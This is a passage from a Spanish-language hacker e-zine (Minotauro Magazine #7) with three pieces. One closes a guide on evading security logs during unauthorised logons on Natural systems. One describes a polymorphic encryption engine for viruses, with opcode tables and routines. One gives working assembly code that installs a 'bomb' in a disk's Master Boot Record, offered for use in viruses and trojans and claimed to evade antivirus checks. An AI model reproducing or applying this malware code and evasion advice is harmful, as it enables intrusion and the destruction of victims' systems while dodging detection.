para llegar a los servicios del administrador de seguridad y despus "L" para ver los archivos de log. El administrador de la base puede setear un nmero mximo de intentos de logon. Y si realizas un nmero ms grande de intentos que el establecido por el DBA, el sistema va a generar un registro en el archivo de log. Siempre tendras que tratar de pasar inadvertido en el sistema. Entonces, por ejemplo, si tens un password y ests dentro del sistema y conseguiste otra password con ms nivel, pero que no es segura, yo te recomendara antes de empezar a probarla chequear cual es el nmero mximo de intentos de logon que estn permitidos. Si el nmero mximo es seis, podes probar tu password dudosa cinco veces y no se van a crear registros de error en el archivo de log. Si estas en el sistema y quers ver el registro de errores de logon para ver si hay mas gente tratando de hackear el sistema (eso puede ser peligroso porque si hay muchos hackers rondando por el sistema es probable que alguno se mande una cagada y todos queden pegados), o si simplemente quers ver cuan pelotuda es la gente :), podes hacer lo siguiente. Presiona "D" en el Menu Principal para acceder a los servicios del Administrador de seguridad y despus presiona "E" para ver los registros de errores de logon. Esto es importante, si nos damos cuenta que en el sistema este tipo de errores es contnuo y repetido, es una seal clara que el sistema esta mal controlado y el Administrador de Sistema no le da bola a los archivos de log. Entonces no habr problemas en probar un nmero ms grande de logons incorrectos. Como en el Natural puede haber mas de un administrador, el Natural da la posibilidad de usar contrafirmas (countersignatures) para controlar la seguridad. En criollo esto quiere decir que para cambiar una definicin de seguridad pueden ser necesarias 0, 1, 2 o 3 confirmaciones (countersignatures) de los otros administradores definidos. Entonces tenes que tener claro que si conseguis privilegios de administrador todava no tens el control absoluto del sistema (si es que hay otros administradores definidos y fue establecido un sistema de contrafirmas). Entonces, antes de intentar hacer cualquier cambio, deberas verificar si hay definidos otros administradores y si se han establecido contrafirmas. Te puedo asegurar que es realmente molesto "trabajar" en una mquina que tenga establecidas contrafirmas, pero no te calentes mucho porque la mayora de los ambientes Natural solo tienen un administrador. Espero que esta informacin que fue muy til para mi, tambien pueda ser til para ustedes.. Mantis King [NO DAN] :) Minotauro Magazine #7: MUTATOR 1.0 (Segunda parte) Por Lapidario LA HISTORIA CONTINUA ... Dediquemos ahora la atencion a formar el encriptor. Esto debemos realizarlo antes de generar el desencriptor, pues nos basamos en que armaremos el mismo en funcion de que instrucciones usemos para encriptar. Como vimos definimos por decreto que aplicaremos las operaciones de encriptacion a BYTES. Y como no nos interesa que sea variable siempre utilizamos los mismos registros de puntero y contador. De las intrucciones que definimos anteriormente algunas nesecitaran un valor aleatorio (lo llamamos XX). De la misma manera que se hizo con las intrucciones ppi los codigos de operacion de las instrucciones para encriptar y las de desencriptar iran en sendos vectores. Como separador usamos el valor 01. Por default yy suponemos que es AL para llenar el vector. Por default XX pondremos AAh. Encriptar: Desencriptar: add al,XXh ............................. sub yy,XXh sub al,XXh ............................. add yy,XXh xor al,XXh ............................. xor yy,XXh ror al ................................. rol yy rol al ................................. ror yy inc al ................................. dec yy dec al ................................. inc yy not al ................................. not yy ins_enc db 04h,0aah,01h,2ch,0aah,01h,34h,0aah,01h,0d0h,0c8h,01h,0d0h db 0c0h,01h,0feh,0c0h,01h,0feh,0c8h,01h,0f6h,0d0h,01h ;8 des_enc db 02ch,0aah,01h,04h,0aah,01h,34h,0aah,01h,0d0h,0c0h,01h,0d0h db 0c8h,01h,0feh,0c8h,01h,0feh,0c0h,01h,0f6h,0d0h,01h ;8 Para variar el parametro XX, simplente cada vez que se llama a la rutina mutator esta llamara a la rutina cambiaxx que se encarga con simples MOV de adecuar estos valores segun un numero aleatorio. Luego nos ocuparemos de los yy. Bien ahora debemos saber cuantas instrucciones usamos para encriptar y cuales de ellas. Cuantas es facil (0 a 8) ... Cuales se usan, se eligen al azar ... (1 a 8) De esto se encarga una subrutina llamada decoderrut, que realiza las siguientes funciones: La maxima cantidad de instrucciones a usar en el encriptador esta definida en la EQU llamada cu_ins_cod. Como vimos el balor maximo es 8. Arma dos vectores con la siguiente forma: VECTOR 1: 1) elemento : cantidad de instrucciones (como maximo puede ser 8) 2) elemento : 1 instruccion con la que se encriptar 3) elemento : 2 instruccion con la que se encriptar etc ... Por lo tanto este vector puede tener como maximo 17 Bytes. A este vector lo llamamos crip_code: crip_code db 17 dup (0) VECTOR 2: 1) elemento : cantidad de instrucciones (como maximo puede ser 8) 2) elemento : 1 instruccion con la que se desencripta 3) elemento : 2 instruccion con la que se desencripta etc ... Por lo tanto este vector puede tener como maximo 17 Bytes. A este vector lo llamamos descrip_code: descrip_code db 17 dup (0) Supongase que el primer vector contenga las siguientes instrucciones en este orden ... add....not....inc....sub El segundo debera terminar teniendo este orden para una desencripcion coherente ... add....dec....not.....sub Una descripcion por pasos de lo que realiza la subrutina decoderrut es la siguiente: 0) Inicializa los vectores crip_code y descrip_code con cero. 1) Genera un numero aleatorio rand0 comprendido en el rango de (0 y cu_ins_cod) 2) Alamacena el susodicho numero en crip_code y descrip_code. 3) Es rand0 igual a cero ? Si es asi termina. 4) Inicializa un bucle desde rand0 hasta cero realizando las siguientes tareas: 4.1) Genera un numero aleatorio rand2 en rango (1-8). 4.2) Busca la instruccion numero rand2 en el vector ins_enc. 4.3) Traslada esa instruccion a el vector crip_code. 4.4) Busca la instruccion numero rand2 en el vector des_enc. 4.5) Traslada esa instruccion a el vector descrip_code. 5) Invierte las instrucciones del vector descrip_code. Supongamos ahora que con la informacion que tenemos en el vector 2 podemos formar el desencriptor. Entonces damos por sentado que la copia imagen del virus se encuentra en las condiciones que indica el siguiente grafico. original_ES:original_DI:.......... .......... desencriptor y instrucciones PPI. ....<------------ins_counterx En el offset ins_counterx debemos poner la copia encriptada segun la rutina de encriptacion genera. Esto lo hacemos de la siguiente manera: La rutina mutator posee un encriptador generico de la siguiente forma: ge_encrip proc near pusha push es push ds ;llenar 16 nop apartir del offset todosnop ;copiar tantos word como contenga [crip_code] a el offset todosnop ;fuente de word empieza en el offset crip_code + 1. mov cx,DS:[BX+original_cx] mov di,DS:[BX+original_di] mov ax,DS:[seg_base+BX] mov es,ax mov ax,DS:[ins_counterx+BX] mov si,ax mov ax,DS:[BX+original_ds] mov ds,ax lazo897: mov al,ds:[di] todosnop: ...instrucciones.....(al comienzo 16d nop) mov ES:[si],ax inc di inc si inc cs:[ins_counterx+BX] dec cx jnz lazo897 pop es pop ds popa ret Como obserbamos en el offset todosnop originalmente se encuentran 16 instrucciones NOP. Estos NOP son repuestos cada vez que se llama a la rutina. Bien si ahora trasladamos del vector1 llamado crip_code tantos bytes como indique el primer elemento del vector por 2 a el offset todosnop. Si ejecutamos la rutina ge_encrip habremos trasladado el codigo original encriptado a partir del offset ins_counterx. Solo basta calcular la longitud final del codigo imagen y devolverselo en cx a el programa que llamo a la mutator. Bien, llego el momento de armar el desencriptor. Como dato tenemos el vector descrip_code, cuyo primer elemento nos dice cuantas instrucciones hay que poner. Miremos unos detalles ... Segun cual sea el registro a utilizar la instruccion tiene 2 o 3 bytes de longitud. Por lo tanto formaremos otro vector con esta tabla de opcodes. A este vector lo llamamos tabla_dat. La rutina cambiaxx tambien se encarga de reemplazar los ffh por el valor adecuado (este valor no puede ser 01h). tabla_dat: db 0F6h,0D0h; not al db 0F6h,0D1h; not cl db 0F6h,0D2h; not dl db 0F6h,0D3h; not bl db 0F6h,0D4h; not ah db 0F6h,0D5h; not ch db 0F6h,0D6h; not dh db 0F6h,0D7h; not bh db 0FEh,0C0h; inc al db 0FEh,0C1h; inc cl db 0FEh,0C2h; inc dl db 0FEh,0C3h; inc bl db 0FEh,0C4h; inc ah db 0FEh,0C5h; inc ch db 0FEh,0C6h; inc dh db 0FEh,0C7h; inc bh db 0FEh,0C8h; dec al db 0FEh,0C9h; dec cl db 0FEh,0CAh; dec dl db 0FEh,0CBh; dec bl db 0FEh,0CCh; dec ah db 0FEh,0CDh; dec ch db 0FEh,0CEh; dec dh db 0FEh,0CFh; dec bh db 0D0h,0C8h; ror al,1 db 0D0h,0C9h; ror cl,1 db 0D0h,0CAh; ror dl,1 db 0D0h,0CBh; ror bl,1 db 0D0h,0CCh; ror ah,1 db 0D0h,0CDh; ror ch,1 db 0D0h,0CEh; ror dh,1 db 0D0h,0CFh; ror bh,1 db 0D0h,0C0h; rol al,1 db 0D0h,0C1h; rol cl,1 db 0D0h,0C2h; rol dl,1 db 0D0h,0C3h; rol bl,1 db 0D0h,0C4h; rol ah,1 db 0D0h,0C5h; rol ch,1 db 0D0h,0C6h; rol dh,1 db 0D0h,0C7h; rol bh,1 entrada1: db 04h,0FFh; add al,0ffh db 80h,0C1h,0FFh ; add cl,0ffh db 80h,0C2h,0FFh ; add dl,0ffh db 80h,0C3h,0FFh ; add bl,0ffh db 80h,0C4h,0FFh ; add ah,0ffh db 80h,0C5h,0FFh ; add ch,0ffh db 80h,0C6h,0FFh ; add dh,0ffh db 80h,0C7h,0FFh ; add bh,0ffh db 2Ch,0FFh ; sub al,0ffh db 80h,0E9h,0FFh ; sub cl,0ffh db 80h,0EAh,0FFh ; sub dl,0ffh db 80h,0EBh,0FFh ; sub bl,0ffh db 80h,0ECh,0FFh ; sub ah,0ffh db 80h,0EDh,0FFh ; sub ch,0ffh db 80h,0EEh,0FFh ; sub dh,0ffh db 80h,0EFh,0FFh ; sub bh,0ffh db 34h,0FFh ; xor al,0ffh db 80h,0F1h,0FFh ; xor cl,0ffh db 80h,0F2h,0FFh ; xor dl,0ffh db 80h,0F3h,0FFh ; xor bl,0ffh db 80h,0F4h,0FFh ; xor ah,0ffh db 80h,0F5h,0FFh ; xor ch,0ffh db 80h,0F6h,0FFh ; xor dh,0ffh db 80h,0F7h,0FFh ; xor bh,0ffh Bien en el primer byte del vector descrip_code tenemos cuantas instrucciones efectivas conforman nuestro desencriptor. Nuestro objetivo consiste en formar un nuevo vector llamado efect_code que poseea la siguiente estructura: 1 instruccion registro permutado separador 01 2 instruccion registro permutado sepadoror 01 enesima instruccion registro permutado separador 01 La idea es generar un numero de rango 0 a 7, este sera el numero llave para elegir cual registro usamos y lo guardamos en keyreg. Es necesario guardarlo pues luego lo nesesitaremos. Haremos una rutina que lea los dos bytes de el vector descrip_code de la instruccion x usada para desencriptar y busque en el vector tabla_dat el comienzo de la direccion de acierto de comparacion. De ordinario si la instrucion x era add al,0ffh el puntero se detendra en en el offset que indica el comienzo de la intruccion add al, 0ffh del vector tabla_dat. Pues si ahora a este offset le sumamos el numero aleatorio por 3 -1 si el contenido de ese offset es distinto a f6 o fe o d0, o el numero aleatorio por 2 en caso contrario, obtendremos el offset donde empieza la instruccion con registro permutado. Entonces : Si el contenido del nuevo offset es 80h traslada 3 bytes, desde el vector tabla_dat a el vector efect_code, sino solo dos. Luego insertamos el separador 01. Repetimos el proceso como instrucciones contenga el vector descrip_code. Se desprende que la longitud maxima del vector efect_code sera 3*8+8=32 bytes. Esta tarea la realiza la rutina permutareg. Ahora con el vector efect_code y la variable keyreg estamos en condiciones de formar el desencriptor. Al igual que con el encriptor partimos de un codigo base el cual modificaremos segun la nesecidad y luego lo copiamos al comienzo del viri imagagen. Para el desencriptor debemos elegir cual registro usaremos para realizar el calculo del offset delta. Podra ser BX, DI, SI o BP. La restriccion es que si bl o bh fue usado para formar las intrucciones con registro permutado no lo podremos usar. Por ese motivo guardamos el dato en keyreg. Otro cuestion es que segun cual registro usemos habra que tener en cuenta cual es el segmento base a utilizar. Si se usa DI, SI o BX segmento base es DS. Si se usa BP segmento base es SS. Una solucion seria poner en las intrucciones de carga o descarga a o desde memoria (que en la rutina de desencriptacion son 2) como prefijo de segmento a CS. Otra forma seria que segun cual fue el registro usado hacer que mientras se ejecuta la rutina de desencriptacion el segmento base requerido tenga el valor adecuado. ejemplo se usa BP. push ss push cs pop ss ... ... ... pop ss se usa otro DI o DX o SI .(genericamente gg) push gg push cs pop gg ... ... ... pop gg Como no me gusta poner el prefijo de CS: Usaremos el segundo metodo. NOTA: (xlsbi=x bits menos significativos) Tambien debemos elegir cual registro usaremos como counter. Le cabe la mismas consideraciones habladas antes, podra ser cualquiera. Mientras no concuerde con el usado en regkey y el BX si este fue usado en el calculo del offset beta. Supongamos que usamos el siguiente desencriptador generico: p1: push gg db 01h p2: push cs db 01h p3: pop gg db 01h p4: call 0000 db 01h p5: pop jj db 01h p6: add jj,zzzz db 01h p7: mov counter,cccc db 01h p8: mov yy,[jj] db 01h p9: mov [jj],yy db 01h p10: inc jj db 01h p11: dec counter p12: jnz p8 db 01h p13: pop gg db 01h Este desencriptador lo variaremos segun corresponda teniendo en cuenta lo siguiente: En keyreg tenemos: al,ah,cl,ch,bl,bh,dl,dh 0 a 7. genero jj y lo guardo en keyjj rango 3 a 7 excluido 04. jj; DI,SI,BP y si keyreg <> a 3 o 7 tambien puede ser BX. pop jj jj=03 entonces bx opcode 5B jj=05 entonces bp opcode 5D jj=06 entonces si opcode 5E jj=07 entonces di opcode 5F Estructura del pop jj. 0101 1(3lsbi de keyjj) entonces la instruccion inc jj jj=03 entonces bx inc bx opcode 43 jj=05 entonces bp inc bp opcode 45 jj=06 entonces si inc si opcode 46 jj=07 entonces di inc di opcode 47 Estructura del inc jj 0100 (4lsbit de keyjj) gg; DS o SS si jj igual a 06 o 07 (di o si) entonces gg=ds push ds opcode 1e pop ds opcode 1f si jj = 05 (bp) entonces gg=ss push ss opcode 16 pop ss opcode 17 la instruccion add jj,zzzz add bx,zzzz 81 c3 zz zz add bp,zzzz 81 c5 zz zz add si,zzzz 81 c6 zz zz add di,zzzz 81 c7 zz zz Estructura del add jj,zzzz 10000001 | 1100(4lsbi de keyjj) | zz | zz genero counter y lo guardo en keycounter rango 0-3 keyjj = 03 (BX) keycounter no puede ser 03 (BX). si keyreg = 00 (al) o 04 (ah) keycounter no puede ser 00 (AX) si keyreg = 01 (cl) o 05 (ch) keycounter no puede ser 01 (CX) si keyreg = 02 (dl) o 06 (dh) keycounter no puede ser 02 (DX) si keyreg = 03 (bl) o 07 (bh) keycounter no puede ser 03 (BX) keycounter = 00 ax keycounter = 01 cx keycounter = 02 dx keycounter = 03 bx entonces la instruccion dec counter keycounter = 00 ax dec ax opcode 48 keycounter = 01 cx dec cx opcode 49 keycounter = 02 dx dec dx opcode 4a keycounter = 03 bx dec bx opcode 4b Estructura del dec counter: 10001(3lsbi de key keycounter) entonces la instruccion mov counter,cccc keycounter = 00 ax mov ax,cccc opcode b8 cc cc keycounter = 01 cx mov cx,cccc opcode b9 cc cc keycounter = 02 dx mov dx,cccc opcode ba cc cc keycounter = 03 bx mov bx,cccc opcode bb cc cc Estructura del mov counter,cccc 10111(3lsbi de keycounter) | cc | cc genero yy rango 0-7 y lo guardo en keyyy yy no puede ser igual a keycounter o a keycounter+4. y ademas no puede ser igual keyreg. keyyy=00 entonces al keyyy=01 entonces cl keyyy=02 entonces dl keyyy=03 entonces bl keyyy=04 entonces ah keyyy=05 entonces ch keyyy=06 entonces dh keyyy=07 entonces bh Este numero afecta a las intrucciones mov yy,[jj] y mov [jj],yy Hay aproximadamente a simple vista 28 convinaciones. Veamos la estructura. 100010dw mod reg r/m d=1 a reg. caso mov yy,[jj] d=0 desde reg. caso mov [jj],yy w=0 byte instruccion nuestro caso. mod = 00 entonces r/m indica como debe entenderse r/m. nuestro caso. r/m = 100 entonces EA (SI)+disp r/m = 101 entonces EA (DI)+disp r/m = 110 entonces EA (BP)+disp (1) r/m = 111 entonces EA (BX)+disp EA= direccion efectiva. disp=desplazamiento. Observese dos cosas. 1) la unica diferencia entre mov yy,[jj] y mov [jj],yy es un bit. 2) Como disp es siempre cero la instrucion ocupa 2 bytes ,pero si jj es bp ocupa 3 pues el desplazamiento 0 no se puede obviar. Para solucionar esto podriamos poner siempre un dezplazamiento aleatorio y tenerlo en cuenta cuando hacemos el add jj,zzzz Para hacer esto mod debe ser 01. Al desplazamiento lo llamamos qq , tiene un rango (0-127) y lo guardamos en keyqq. Veamos como se forman los tres bytes. mov yy,[jj] 10001010 | 01(3lsbi de keyyy)1(2lsbi de magia) | [keyqq] mov [jj],yy 10001000 | 01(3lsbi de keyyy)1(2lsbi de magia) | [keyqq] Segun sea keyjj por comparacion allamos el r/m necesario y armamos la instruccion. La rutina generakey genera los valores adecuados de keyjj,keycounter,keyyy,keyqq , teniendo en cuenta las restricciones pertinentes en cada caso. Con todo esto estamos en condiciones de ajustar la rutina de desencriptacion generica. La rutina trasscod ajusta a la rutina de desencriptacion generica , con los valores allados por la rutina generakey. Luego iremos copiando instruccion por instruccion a la direccion original dada por ES:DI intercalando intrucciones PPI. Al hacer esto memorizaremos algunos offset para luego poner el valor adecuado. OFFSET a memorizar. a) donde queda p4 ; para ajustar zzzz b) donde queda p6 ; para ajustar zzzz c) donde queda p7 ; para ajustar cccc d) donde queda p8 ; para calcular el salto de jnz d) donde queda p12 ; " " " " Esto lo realiza la rutina copiar. Una vez realizado esto llamamos a la rutina de encriptacion,y luego calculamos la longitud final para devolverlo en cx. Bien con esto terminamos la explicacion de el polimorfico. Espero que se halla entendido. Dudas, consultas, reportes de bug o insultos al BBS. PLANTEANDO INQUIETUDES: SERIA SENCILLO HACER UN PROGRAMA QUE IDENTIFIQUE SI UN DADO ARCHIVO TIENE UNA ALTA POSIBILIDAD DE ESTAR USANDO EL POLIMORFISMO DE LA MUTATOR? Bien yo digo que si, es relativamente sencillo, debido (no es condicion nesesaria pero si facilita el tener que desensamblar) a que tienen el fuente y saben cual es el desencriptor generico. Solo hay que separar trigo de la paja y pensar un poquito ... SE PUEDE CALCULAR DE CUANTAS FORMAS ES POSIBLE MUTAR EL CODIGO ENCRIPTADO? Bien yo digo que si, es mas ... afirmo que es posible con el algoritmo adecuado desencriptar el codigo encriptado ... En esta mutacion es relativamente facil ya que lo unico que hay que saber es que pueden ser x de 8 instrucciones univocas para encriptar (8>x>0) ... asi que ... correlacionando y esas yerbas. ES POSIBLE QUE EN UNA MUTACION TERMINE SIN ENCRIPTAR EL CODIGO? Si puede darse el caso que la combinacion de instrucciones usadas para encriptar en realidad terminen NO encriptando. ES POSIBLE DEDUCIR CUANTAS DE TODAS LAS POSIBLES CUMPLEN LA PREGUNTA ANTERIOR? Si es posible saberlo. Si alguien quiere discutir algun punto (antivirus programer, GISVI, Bonsembiante, Ludwing etc etc etc ... y otros) puede hacerlo. Lapidario [DAN] Minotauro Magazine #7: Bombas de Master Boot Record Por Zarathustra % La Teoria % En este articulo se explica como poner una bomba en la tabla de particion o MBR (Master Boot Record). Este es un buen lugar ya que sobrevive a un format... de esta manera si un virus pone una bomba en el MBR y el usuario lo descubre y formatea el disco (practica comun en las casas de computacion ;-), la bomba sigue alli... de esta menera le damos la satifaccion al usuario de volver a formatear su disco pero si su ayuda ;-) Primero, el MBR esta en el sector 1, lado 0, cilindro 0, los ultimos 66 bytes contienen informacion acerca de la particion y no deven ser tocados, el MBR despues de ejecutarse ejecuta el boot. Una forma de poner una bomba ahi es remplazar el MBR por la bomba y que la bomba se encarge de ejecutar el boot despues. Otra forma es mover el MBR original a otro sector (como el 4) y poner la bomba en su lugar, esta despues de ejecutarse, lee el sector 4 y lo ejecuta. Este metodo es muy fiable y no da ninguna alarma con el chequeador del TB, siempre que la bomba no deje nada resindente. Tambien puede desensamblarse una TP y agregarle la bomba en su codigo... No importa como se haga, siempre que se reemplaze el codigo de la TP hay que dejar intactos los 66 ultimos bytes. Una aclaracion con respecto al inmunizador del TB, este hace un CRC del BOOT y no del MBR, por lo tanto no puede delatar a la bomba, y si no se deja codigo residente los 2 chequeos restantes tampoco detectan nada. De todos modos lo normal en una bomba de MBR es que solo chequee una condicion y se ejecute o no, sin dejar codigo residente, ademas son muy simples de eludir los chequeos de memoria e int 13h % El Ejemplo % El programa que sigue lee el MBR en un buffer de memoria y luego copia sobre este la bomba, y luego lo escribe en el sector 1, lado 0, cilindro 0 y termina.. es solo un instalador y puede modificarse facilmente para usarse en un virus, ademas de considerar las variables solo hay que remplazar los +100h por +BP. La bomba en si, al ejecutarse resta un 1k de la cantidad total de memoria que esta en en segmento 0 offset 413h, calcula el bloque de memoria al que se copiara y se copia entero ahi... luego de eso, salta para continuar ejecutandose en el nuevo bloque. Entonces lee el boot, vuelve a sumar 1k, que habia restado de memoria y ejecuta el boot... La memoria es reservada unicamente para copiar la bomba a otro bloque y poder ejecutar el boot que se tiene que cargar en la misma direccion que el MBR, y despues liberada porque la bomba no deja nada residente, la idea es que chequee una condicion y actue, o bootee normalmente. Bien, pueden usar esto en un virus o instalar la bomba con su instalador en un file, para que el troyano instale la bomba o incluso como metodo de seguridad, recuerden que el MBR es el primer programa que se ejecuta, o sea que tienen el control antes que el mismo DOS. NOTA: el codigo que sigue puede optimisarse, pero de esta manera me parecio mas claro para el principiante. Ademas con una pequea modificacion puede quedar residente. .286 code segment ASSUME CS:CODE,DS:CODE,SS:CODE org 0h my_len equ buffer - offset newboot long_vir equ newboot - offset instalador instalador: mov ax,0201h ;Leo el MBR del en buffer. mov cx,0001h ; mov dx, 80h ; lea bx, buffer+100h ; int 13h lea di, buffer+100h ;sobreescribo boot lea si, newboot+100h ;con mi rutina en memoria. mov cx,my_len rep movsb mov ax,0301h ;Copio la bomba al sector mov cx,0001h ;1 lado 0 siindro 0. lea bx, buffer+100h int 13h fin: mov ah, 4ch ;Sale. int 21h ;============================================================================== ; BOMBA ;============================================================================== newboot: cli xor ax,ax mov ds,ax mov si,07c00h mov ss,ax mov sp,si mov ax, word ptr ds:[0413h] ;Decremento la cantidad de dec ax ;memoria, dejando el dato mov word ptr ds:[0413h], ax ;en AX. mov cl,6 shl ax,cl ;Calculo ennuevo bloque de ;memoria. xor di,di ;me copio a ese bloque. mov es,ax mov cx,my_len rep movsb push es mov ax, offset memoria - long_vir ;Salta al nuevo push ax ;bloque. retf memoria: sti mov ax,0201h ;leo el boot (sector 1, mov cx,0001h ;cilindro 0, lado 1), en xor dx, dx ;el segmento 0 offset 7c00h. mov es,dx mov dx, 0180h mov bx,07c00h int 13h add word ptr ds:[0413h], 1 ;Restaura la cantidad de ;memoria. push 0000 ;Ejecuto el boot push 7c00h retf db 'Demostracion de bombas de MBR, para Minotauro Magazine' db 'By Zarathustra [DAN]' buffer: code ends end instalador